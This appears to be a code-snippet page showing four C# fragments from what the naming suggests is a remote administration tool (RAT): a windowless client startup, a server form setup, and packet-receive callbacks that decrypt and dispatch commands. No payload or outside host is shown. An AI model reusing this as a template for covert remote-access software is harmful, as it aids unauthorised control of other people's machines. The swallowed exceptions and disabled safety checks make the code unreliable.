示例#1
0
        static void Main()
        {
            SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
            if (LoadFeatures.Load() == false)
            {
                return;
            }

            ClientPacketProcessor.Initialize();
            Client = new ClientConnect();
            FileClientPacketProcessor.Initialize();
            FileTransferConnect _FileTransfer = new FileTransferConnect();

            Application.Run();
        }
示例#2
0
        private void Form1_Load(object sender, EventArgs e)
        {
            //Events
            ClientDisconnectEvent.ClientDisconnect += new ClientDisconnectHandler(onClientDisconnect);

            CheckForIllegalCrossThreadCalls = false;

            settings.MainForm   = this;
            _listener           = new List <RatClientListener>();
            _FileListener       = new List <FileClientListener>();
            maxConnections      = new MaxConnections();
            File_maxConnections = new File_MaxConnections();
            ClientPacketProcessor.Initialize();
            FileClientPacketProcessor.Initialize();
        }
示例#3
0
        private void Client_BeginReceive(IAsyncResult ar)
        {
            //try
            //{
            if (_client.EndReceive(ar) > 0)
            {
                _buffer = new byte[BitConverter.ToInt16(_buffer, 0) - 2];

                if (_buffer.Length > 10000)    //ignore packets that are bigger then 10kb
                {
                    return;
                }

                if (_buffer.Length > 0)
                {
                    _client.Receive(_buffer, 0, _buffer.Length, SocketFlags.Partial);
                    _buffer = CryptEngine.Crypt(_buffer);

                    //Process the packet.
                    Type pck = FileClientPacketProcessor.ProcessPacket(_buffer);
                    if (pck != null)
                    {
                        ReceiveBasePacket rbp = (ReceiveBasePacket)Activator.CreateInstance(pck, this, _buffer);
                        rbp.Run();
                    }

                    Read();
                    return;
                }
            }
            //}
            //catch
            //{
            //    if(!_client.Connected)
            //        TryToConnect();
            //}
        }
示例#4
0
        private void ReadCallbackStatic(IAsyncResult ar)
        {
            try
            {
                if (_socket.EndReceive(ar) > 1)
                {
                    if (_FloodProtector.HandleFlood(_socket.RemoteEndPoint) == false)
                    {
                        //Disconnect();
                        //return;
                    }


                    //Get length from the buffer, convert to Int16 and read the rest of the packet.

                    if (_buffer[0] == 0 && _buffer[1] == 0)
                    {
                        Read();
                        return;
                    }

                    try
                    {
                        _buffer = new byte[BitConverter.ToInt16(_buffer, 0) - 2];
                    }
                    catch
                    {
                        //Sometimes here is a error because the first 2 bytes are '0'
                        //I really don't know how to fix that... so lets ignore it :P
                    }

                    if (_buffer.Length > 0)
                    {
                        settings.ReceivedPackets++;
                        _socket.Receive(_buffer, _buffer.Length, SocketFlags.Partial);
                        _buffer = CryptEngine.Crypt(_buffer, NetworkKey);
                        Type pck = FileClientPacketProcessor.ProcessPacket(_buffer, _socket.RemoteEndPoint.ToString());
                        if (pck != null)
                        {
                            ReceiveBasePacket rbp = (ReceiveBasePacket)Activator.CreateInstance(pck, this, _buffer);
                            rbp.Run();
                        }
                        else
                        {
                            //unknown packet received
                            //Disconnect();
                            Read();
                            return;
                        }

                        Read();
                        return;
                    }
                    else
                    {
                        //Disconnect when no length is given... maybe flood? just disconnect :P
                        //Disconnect();
                        Read();
                        return;
                    }
                }
                else
                {
                    //Disconnect();
                    Read();
                    return;
                }
            }
            catch
            {
                //if(!_socket.Connected)
                //    Disconnect();
                Read();
                return;
            }
        }